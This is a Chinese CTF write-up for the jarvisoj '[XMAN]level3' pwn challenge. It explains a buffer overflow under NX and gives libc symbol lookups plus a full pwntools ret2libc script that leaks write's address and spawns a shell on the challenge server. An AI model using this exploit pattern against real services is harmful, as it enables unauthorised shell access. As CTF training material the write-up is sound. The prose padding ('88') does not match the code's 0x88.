jarvisoj——[XMAN]level3

题目

jarvisoj——[XMAN]level3_第1张图片

Wp

查一下常规,开了NX,NX开了之后就不能执行自己的shellcode了。

jarvisoj——[XMAN]level3_第2张图片
ida看一下,
jarvisoj——[XMAN]level3_第3张图片
依旧是这里存在缓存区溢出
jarvisoj——[XMAN]level3_第4张图片

首先填充字段就是’A’*88+‘B’*4

然后找到system的地址 00040310

readelf -s libc-2.19.so |grep system

jarvisoj——[XMAN]level3_第5张图片
返回地址随便,现在找参数bin,现在可以看到是162d4c

strings -atx libc-2.19.so |grep /bin

jarvisoj——[XMAN]level3_第6张图片
现在还需要使用write来读出真实的offect

from pwn import *
context.log_level="debug"
sh=remote("pwn2.jarvisoj.com",9879)
w_plt=0x08048340
w_got=0x0804A018
w_elf=0x000dd460
bac=0x08048495
payload1='A'*0x88+'B'*4+p32(w_plt)+p32(bac)+p32(1)+p32(w_got)+p32(4)
sh.recvline()
sh.sendline(payload1)
writeaddr = u32(sh.recv(4))
print(writeaddr)
raw_input()


offect=writeaddr-w_elf
sys=0x00040310
bash=0x162d4c
payload2='A'*0x88+'B'*4+p32(offect+sys)+'A'*4+p32(offect+bash)
sh.recvline()
sh.sendline(payload2)
sh.interactive()

jarvisoj——[XMAN]level3_第7张图片

你可能感兴趣的:(oscp)